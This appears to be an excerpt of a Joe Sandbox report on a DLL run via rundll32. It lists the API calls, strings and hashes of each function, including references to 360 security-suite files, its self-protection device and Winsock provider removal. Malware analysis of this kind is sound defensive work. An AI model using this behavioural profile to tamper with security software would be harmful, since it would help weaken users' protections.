safemon\360EDRSensor.exe, xrefs: 00000001800565D2

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Path$AppendFilememset$CloseExistsModuleName_wcsicmp
String ID: safemon\360EDRSensor.exe
API String ID: 2297386589-1382049097
Opcode ID: 42f0aba2aa1986b903558ee18fe79d01fe9ddf52126576828c9ac8a665b693b0
Instruction ID: b56041483c5d1cc8e669a9f5834781a952b0b95e5cd2a6710febed08a80e77bc
Opcode Fuzzy Hash: 42f0aba2aa1986b903558ee18fe79d01fe9ddf52126576828c9ac8a665b693b0
Instruction Fuzzy Hash: 44315071724A4886EA91DB24EC9439973A0FB8C7A4F409215B96E436F5EF39C74DC700

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800562D0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 000000018005630E
GetModuleFileNameW.KERNEL32 ref: 0000000180056325
PathAppendW.SHLWAPI ref: 0000000180056349

Part of subcall function 000000018005619C: memset.MSVCRT ref: 000000018005623C
Part of subcall function 000000018005619C: RegCloseKey.ADVAPI32 ref: 000000018005628E

_wcsicmp.MSVCRT ref: 0000000180056364
PathAppendW.SHLWAPI ref: 000000018005637A
PathFileExistsW.SHLWAPI ref: 0000000180056396

Strings

safemon\360ExtHost.exe, xrefs: 000000018005636E

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Path$AppendFilememset$CloseExistsModuleName_wcsicmp
String ID: safemon\360ExtHost.exe
API String ID: 2297386589-1382862812
Opcode ID: fc9508a032b388f95354c21349e4f50a604572e192d3fc7bf2bb7d329c5c28e2
Instruction ID: 6ff1a21142ab4c8bd4a0b27ef24c26924cb25d1c518f26ee789ee6da218a3a52
Opcode Fuzzy Hash: fc9508a032b388f95354c21349e4f50a604572e192d3fc7bf2bb7d329c5c28e2
Instruction Fuzzy Hash: E7316F71724A4886EBA1DB24EC943997360FB8C7A4F409215B96E836F5DF39C74CCB00

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000892C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 63registrylibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 0000000180008966
GetProcAddress.KERNEL32 ref: 000000018000897B
RegOpenKeyExW.ADVAPI32 ref: 00000001800089CE
RegCloseKey.ADVAPI32 ref: 00000001800089E0

Strings

Advapi32.dll, xrefs: 000000018000895F
RegOpenKeyTransactedW, xrefs: 0000000180008971

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: AddressCloseHandleModuleOpenProc
String ID: Advapi32.dll$RegOpenKeyTransactedW
API String ID: 823179699-3913318428
Opcode ID: e5aa230e6d6d73d44fbb0867bef8b98e7cffe5e7cefdcdffa37db2e7ba59e934
Instruction ID: bf9e62a3942db8529e652a7a00b11324bbad2056b1e05bdd0101147039c14a4a
Opcode Fuzzy Hash: e5aa230e6d6d73d44fbb0867bef8b98e7cffe5e7cefdcdffa37db2e7ba59e934
Instruction Fuzzy Hash: E7218E32604B4482EB92DF02F8543A973A0FB8CBD0F088025AED947B54DF3CC659D701

Uniqueness

Uniqueness Score: -1.00%

Function 000000018004410C Relevance: 10.6, APIs: 7, Instructions: 58COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 0000000180044136
memset.MSVCRT ref: 0000000180044147
_time64.MSVCRT ref: 0000000180044156

Part of subcall function 000000018003BC0C: CryptAcquireContextW.ADVAPI32 ref: 000000018003BC33
Part of subcall function 000000018003BC0C: GetLastError.KERNEL32 ref: 000000018003BC3D
Part of subcall function 000000018003BC0C: CryptAcquireContextW.ADVAPI32 ref: 000000018003BC62

_time64.MSVCRT ref: 000000018004417C
srand.MSVCRT ref: 0000000180044185
rand.MSVCRT ref: 000000018004418B
LeaveCriticalSection.KERNEL32 ref: 00000001800441C5

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: AcquireContextCriticalCryptSection_time64$EnterErrorLastLeavememsetrandsrand
String ID:
API String ID: 1109857607-0
Opcode ID: 8a34afe03370e941922b9fa1342c3f51188d8ab34ab1c1fde89d7cbfdbbd1467
Instruction ID: ca70be7a54b7a8b6e3e4f55ca6010b26a0c6ab118fec8c1b3c60b99ca43e49b7
Opcode Fuzzy Hash: 8a34afe03370e941922b9fa1342c3f51188d8ab34ab1c1fde89d7cbfdbbd1467
Instruction Fuzzy Hash: 7521A132B10B4482E7559F25E84439C77A5FB99F98F059225DA690BBA5CF38C68AC300

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180084E36 Relevance: 10.6, APIs: 7, Instructions: 50memorysynchronizationCOMMON

Download Yara Rule

APIs

_CxxThrowException.MSVCRT ref: 0000000180084E55

Part of subcall function 000000018006DB10: GetProcessHeap.KERNEL32 ref: 000000018006DB1C
Part of subcall function 000000018006DB10: HeapLock.KERNEL32 ref: 000000018006DB2D
Part of subcall function 000000018006DB10: HeapWalk.KERNEL32 ref: 000000018006DB40
Part of subcall function 000000018006DB10: HeapFree.KERNEL32 ref: 000000018006DB88
Part of subcall function 000000018006DB10: HeapUnlock.KERNEL32 ref: 000000018006DB91

ReleaseMutex.KERNEL32 ref: 0000000180084E73
TlsFree.KERNEL32 ref: 0000000180084E8D
CloseHandle.KERNEL32 ref: 0000000180084E9B
GetProcessHeap.KERNEL32 ref: 0000000180084EAA
HeapFree.KERNEL32 ref: 0000000180084EBD
CloseHandle.KERNEL32 ref: 0000000180084ECD

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Heap$Free$CloseHandleProcess$ExceptionLockMutexReleaseThrowUnlockWalk
String ID:
API String ID: 2337826640-0
Opcode ID: 5ebd4694b0cf8b1b0e10d1caafe6c046652a29d11f97caa12330084f2d285228
Instruction ID: 33d5259c6290a7581a5ad5f3dc980324b092c5f168283266ec493f33f9dd72fa
Opcode Fuzzy Hash: 5ebd4694b0cf8b1b0e10d1caafe6c046652a29d11f97caa12330084f2d285228
Instruction Fuzzy Hash: BB111632601A49CAEB869F21EC543E82360FB4CBD5F19D525BA190B6A5DF34C75DC340

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180064040 Relevance: 10.5, APIs: 7, Instructions: 49COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32 ref: 000000018006405B
SysFreeString.OLEAUT32 ref: 0000000180064070
SysFreeString.OLEAUT32 ref: 0000000180064085
SysFreeString.OLEAUT32 ref: 000000018006409A
SysFreeString.OLEAUT32 ref: 00000001800640AF
SysFreeString.OLEAUT32 ref: 00000001800640C4
SysFreeString.OLEAUT32 ref: 00000001800640D9

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: FreeString
String ID:
API String ID: 3341692771-0
Opcode ID: 73e3a869f78964b23eaffc721e09444bf3a0d7b676e7666a508320a6b867a5bd
Instruction ID: c87333ac7bcb44b69379473da2adcf9225e28ba0b3bfb3a3c4204cf647e2c29f
Opcode Fuzzy Hash: 73e3a869f78964b23eaffc721e09444bf3a0d7b676e7666a508320a6b867a5bd
Instruction Fuzzy Hash: B5110337612B08C6FB96DF64D8583682360FB5DFA9F258704DA6B49599CF38C64DC340

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180018E8C Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 41fileCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,0000000180065B3D), ref: 0000000180018E96
CreateFileW.KERNEL32(?,?,?,?,?,?,?,0000000180065B3D), ref: 0000000180018EC6
DeviceIoControl.KERNEL32 ref: 0000000180018F04
CloseHandle.KERNEL32(?,?,?,?,?,?,?,0000000180065B3D), ref: 0000000180018F0F

Strings

\\.\360SelfProtection, xrefs: 0000000180018E9E
L ", xrefs: 0000000180018EFC

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: CloseControlCreateCurrentDeviceFileHandleProcess
String ID: L "$\\.\360SelfProtection
API String ID: 3778458602-907869749
Opcode ID: e256c9444f2bf81226e555b6f7292d8a7bd12b46bc34df817c0f54cce6c08caa
Instruction ID: 4989c80b025c73f727db9230e342af37d309858987cbaecb77f10a65d22bbdba
Opcode Fuzzy Hash: e256c9444f2bf81226e555b6f7292d8a7bd12b46bc34df817c0f54cce6c08caa
Instruction Fuzzy Hash: F6111C32618B84D7C7518F64F88478AB7A0F78C7A4F444725E6AA43B68EF78C65CCB00

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800184B8 Relevance: 9.3, APIs: 6, Instructions: 270COMMON

Download Yara Rule

APIs

??3@YAXPEAX@Z.MSVCRT ref: 0000000180018666
??_V@YAXPEAX@Z.MSVCRT ref: 000000018001868A
??_V@YAXPEAX@Z.MSVCRT ref: 00000001800186B7
??_V@YAXPEAX@Z.MSVCRT ref: 00000001800186D7

Part of subcall function 0000000180042FC4: WideCharToMultiByte.KERNEL32 ref: 0000000180042FFB
Part of subcall function 0000000180042FC4: ??_V@YAXPEAX@Z.MSVCRT ref: 0000000180043016
Part of subcall function 0000000180042FC4: WideCharToMultiByte.KERNEL32 ref: 000000018004306B

??_V@YAXPEAX@Z.MSVCRT ref: 0000000180018867

Part of subcall function 000000018004388C: ??_V@YAXPEAX@Z.MSVCRT ref: 0000000180043AB7

Part of subcall function 0000000180043F2C: ??_V@YAXPEAX@Z.MSVCRT ref: 0000000180044096

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: ByteCharMultiWide$??3@
String ID:
API String ID: 652292005-0
Opcode ID: d5eaac9880b29e7d0af136669fdebebd909549339380b54f119e65074af5ce41
Instruction ID: 16cab60fb696caa1ac382d07db4514fcd7f2788f0d4e97422f2d8c76aa010f09
Opcode Fuzzy Hash: d5eaac9880b29e7d0af136669fdebebd909549339380b54f119e65074af5ce41
Instruction Fuzzy Hash: 95C14A32B00B449AEB61CFA1E8407DD33B6F748798F548125EE9967B98DF34C62AD344

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180004D74 Relevance: 9.2, APIs: 6, Instructions: 219COMMON

Download Yara Rule

APIs

wcsstr.MSVCRT ref: 0000000180004E12
wcsstr.MSVCRT ref: 0000000180004E38
wcsstr.MSVCRT ref: 0000000180004EF1
memmove.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,0000000180001A9F), ref: 0000000180004F53
wcsstr.MSVCRT ref: 0000000180004FBE
_errno.MSVCRT ref: 000000018000504A

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: wcsstr$_errnomemmove
String ID:
API String ID: 3323953840-0
Opcode ID: 251354a66c982ebe395b5198ba1b60466afa3abfe6d2f318c4ac3c1dc85cfacb
Instruction ID: 824f22201ec0d57d4a2227744580b71807502b4fbd2fda829f419a9b6e1dff6e
Opcode Fuzzy Hash: 251354a66c982ebe395b5198ba1b60466afa3abfe6d2f318c4ac3c1dc85cfacb
Instruction Fuzzy Hash: CF810572701A4881EAA6DB14A4447AE77A0FB4CBE4F15C215FFAE4B7D4DE38C6498704

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800505E0 Relevance: 9.2, APIs: 6, Instructions: 196networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32 ref: 0000000180050638
WSCDeinstallProvider.WS2_32 ref: 00000001800507A4
WSCDeinstallProvider32.WS2_32 ref: 00000001800507AC
WSCDeinstallProvider.WS2_32 ref: 0000000180050862
WSCDeinstallProvider32.WS2_32 ref: 000000018005086A
WSACleanup.WS2_32 ref: 00000001800508F4

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Deinstall$ProviderProvider32$CleanupStartup
String ID:
API String ID: 348239931-0
Opcode ID: 4fc830036e70fcdad210563e15636e8950cfeeae8d6d629c7bbfe77b3d9d1d9b
Instruction ID: c360e4d789f3669f84b45de69cf2c2640493478b51e108b497c61621dba60db4
Opcode Fuzzy Hash: 4fc830036e70fcdad210563e15636e8950cfeeae8d6d629c7bbfe77b3d9d1d9b
Instruction Fuzzy Hash: 48910332604A88C6EB92CB65E4547EE77A4F78C7E4F618111FA8D276A4DF39C649CB00

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180032E5C Relevance: 9.2, APIs: 6, Instructions: 150COMMON

Download Yara Rule

APIs

Part of subcall function 000000018000A7AC: GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000180001020), ref: 000000018000A7D5

Part of subcall function 000000018000B560: ??2@YAPEAX_K@Z.MSVCRT ref: 000000018000B584
Part of subcall function 000000018000B560: SysAllocString.OLEAUT32 ref: 000000018000B5A6

Part of subcall function 000000018003AE08: SysFreeString.OLEAUT32 ref: 000000018003AE51
Part of subcall function 000000018003AE08: ??_V@YAXPEAX@Z.MSVCRT ref: 000000018003AE64
Part of subcall function 000000018003AE08: ??3@YAXPEAX@Z.MSVCRT ref: 000000018003AE77

SysFreeString.OLEAUT32 ref: 0000000180032EF4
??_V@YAXPEAX@Z.MSVCRT ref: 0000000180032F07
??3@YAXPEAX@Z.MSVCRT ref: 0000000180032F1A
SysFreeString.OLEAUT32 ref: 0000000180032F63
??_V@YAXPEAX@Z.MSVCRT ref: 0000000180032F76
??3@YAXPEAX@Z.MSVCRT ref: 0000000180032F89

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: String$??3@Free$??2@AllocHeapProcess
String ID:
API String ID: 195827-0
Opcode ID: a0ac78459233da017ac87d6453e8a81be7370a52e333d62a5881ff707d93bed7
Instruction ID: 472ff7a9124bb4c66568a88574ce92508997c8508967d0cb70e73e2f7ddd2399
Opcode Fuzzy Hash: a0ac78459233da017ac87d6453e8a81be7370a52e333d62a5881ff707d93bed7
Instruction Fuzzy Hash: B951BD32701A4886EB46DF65D8403AD73B0FB49BE4F098621EB2957BE9DF38C959C340

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180034178 Relevance: 9.1, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

Part of subcall function 000000018000A7AC: GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000180001020), ref: 000000018000A7D5

Part of subcall function 000000018000B560: ??2@YAPEAX_K@Z.MSVCRT ref: 000000018000B584
Part of subcall function 000000018000B560: SysAllocString.OLEAUT32 ref: 000000018000B5A6

Part of subcall function 000000018003AE08: SysFreeString.OLEAUT32 ref: 000000018003AE51
Part of subcall function 000000018003AE08: ??_V@YAXPEAX@Z.MSVCRT ref: 000000018003AE64
Part of subcall function 000000018003AE08: ??3@YAXPEAX@Z.MSVCRT ref: 000000018003AE77

SysFreeString.OLEAUT32 ref: 000000018003420F
??_V@YAXPEAX@Z.MSVCRT ref: 0000000180034222
??3@YAXPEAX@Z.MSVCRT ref: 0000000180034235
SysFreeString.OLEAUT32 ref: 0000000180034279
??_V@YAXPEAX@Z.MSVCRT ref: 000000018003428C
??3@YAXPEAX@Z.MSVCRT ref: 000000018003429F

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: String$??3@Free$??2@AllocHeapProcess
String ID:
API String ID: 195827-0
Opcode ID: ceda01c74325736d26a0411a727c02681ceb51477494a67f089079f3182e5468
Instruction ID: d6e040c62356dd28a52f4054929385a923e12d2376c870478276763e31a13ced
Opcode Fuzzy Hash: ceda01c74325736d26a0411a727c02681ceb51477494a67f089079f3182e5468
Instruction Fuzzy Hash: 9D516F33701B4982EB469F65D85039E63A0FB89FA4F498221EB295B7D9DF38C549C340

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800322A0 Relevance: 9.1, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

Part of subcall function 000000018000A7AC: GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000180001020), ref: 000000018000A7D5

Part of subcall function 000000018000B560: ??2@YAPEAX_K@Z.MSVCRT ref: 000000018000B584
Part of subcall function 000000018000B560: SysAllocString.OLEAUT32 ref: 000000018000B5A6

Part of subcall function 000000018003AE08: SysFreeString.OLEAUT32 ref: 000000018003AE51
Part of subcall function 000000018003AE08: ??_V@YAXPEAX@Z.MSVCRT ref: 000000018003AE64
Part of subcall function 000000018003AE08: ??3@YAXPEAX@Z.MSVCRT ref: 000000018003AE77

SysFreeString.OLEAUT32 ref: 0000000180032337
??_V@YAXPEAX@Z.MSVCRT ref: 000000018003234A
??3@YAXPEAX@Z.MSVCRT ref: 000000018003235D
SysFreeString.OLEAUT32 ref: 00000001800323A1
??_V@YAXPEAX@Z.MSVCRT ref: 00000001800323B4
??3@YAXPEAX@Z.MSVCRT ref: 00000001800323C7

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: String$??3@Free$??2@AllocHeapProcess
String ID:
API String ID: 195827-0
Opcode ID: 1487f1b9042455cadd1f594916249c517a85c0241772127b20d59336a7db92ce
Instruction ID: b9a7bc9aefba1d0cd95c21a72bfdce90d94dfcaa7ac1bda6bd9d80d9113677c1
Opcode Fuzzy Hash: 1487f1b9042455cadd1f594916249c517a85c0241772127b20d59336a7db92ce
Instruction Fuzzy Hash: 55516032701B4882EB469F65D85039E73A0FB49FE4F098625EB69577D9DF38C649C380

Uniqueness

Uniqueness Score: -1.00%

Function 000000018003288C Relevance: 9.1, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

Part of subcall function 000000018000A7AC: GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000180001020), ref: 000000018000A7D5

Part of subcall function 00000001800298FC: GetFileAttributesW.KERNEL32 ref: 000000018002998C
Part of subcall function 00000001800298FC: GetFileAttributesW.KERNEL32 ref: 000000018002999E

Part of subcall function 000000018000B560: ??2@YAPEAX_K@Z.MSVCRT ref: 000000018000B584
Part of subcall function 000000018000B560: SysAllocString.OLEAUT32 ref: 000000018000B5A6

Part of subcall function 000000018003AE08: SysFreeString.OLEAUT32 ref: 000000018003AE51
Part of subcall function 000000018003AE08: ??_V@YAXPEAX@Z.MSVCRT ref: 000000018003AE64
Part of subcall function 000000018003AE08: ??3@YAXPEAX@Z.MSVCRT ref: 000000018003AE77

SysFreeString.OLEAUT32 ref: 0000000180032923
??_V@YAXPEAX@Z.MSVCRT ref: 0000000180032936
??3@YAXPEAX@Z.MSVCRT ref: 0000000180032949
SysFreeString.OLEAUT32 ref: 000000018003298D
??_V@YAXPEAX@Z.MSVCRT ref: 00000001800329A0
??3@YAXPEAX@Z.MSVCRT ref: 00000001800329B3

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: String$??3@Free$AttributesFile$??2@AllocHeapProcess
String ID:
API String ID: 2343307612-0
Opcode ID: 8e393e3a3852b3cedc11bf39ea6ffb031ff90eabb787ce897587cb6f9badf564
Instruction ID: 3edc698dfee31cca13762dbc840380725e1013da3230f8d99093220343b8c6e9
Opcode Fuzzy Hash: 8e393e3a3852b3cedc11bf39ea6ffb031ff90eabb787ce897587cb6f9badf564
Instruction Fuzzy Hash: 21515F32701B4882EB46DF65D85039D73A0FB49FA4F098225EB695B7E9DF38C949C380

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180026754 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 142stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00000001800267E9
lstrcmpiW.KERNEL32 ref: 0000000180026826

Strings

clsid\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\, xrefs: 0000000180026851
\DefaultIcon, xrefs: 0000000180026863
ShellEx\IconHandler, xrefs: 0000000180026798
{42042206-2D85-11D3-8CFF-005004838597}, xrefs: 000000018002681B

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
